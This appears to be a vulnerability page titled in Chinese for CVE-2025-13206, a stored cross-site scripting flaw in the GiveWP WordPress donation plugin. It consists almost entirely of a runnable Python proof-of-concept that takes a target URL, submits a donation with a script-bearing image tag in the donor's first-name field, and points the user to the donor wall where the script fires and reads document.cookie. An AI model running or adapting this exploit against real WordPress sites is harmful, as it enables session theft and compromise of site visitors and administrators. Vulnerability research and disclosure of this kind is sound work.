CVE-2025-13206 | GiveWP WordPress插件存储型XSS漏洞

import requests import sys # CVE-2025-13206 PoC - GiveWP Stored XSS via name parameter # Target: WordPress site with GiveWP plugin <= 4.13.0 target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target-wordpress-site.com" # Malicious payload for stored XSS xss_payload = '<img src=x onerror=alert(document.cookie)>' # Donation form endpoint (typically under WordPress post/page with GiveWP shortcode) donation_endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Prepare the donation submission request data = { 'action': 'give_donation_form_submit', 'give_form_id': '1', 'give_price': '10.00', 'give_first': xss_payload, # Inject XSS in first name field 'give_last': 'Test', 'give_email': '[email protected]', 'give_title': '', 'give_description': '', 'give_amount': '10' } print(f"[*] Sending malicious donation request to {target_url}") print(f"[*] XSS Payload: {xss_payload}") try: response = requests.post(donation_endpoint, data=data, timeout=10) if response.status_code == 200: print("[+] Donation processed - XSS payload stored") print("[+] Visit the donor wall page to trigger the XSS") print(f"[+] Endpoint: {target_url}/donors/") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}")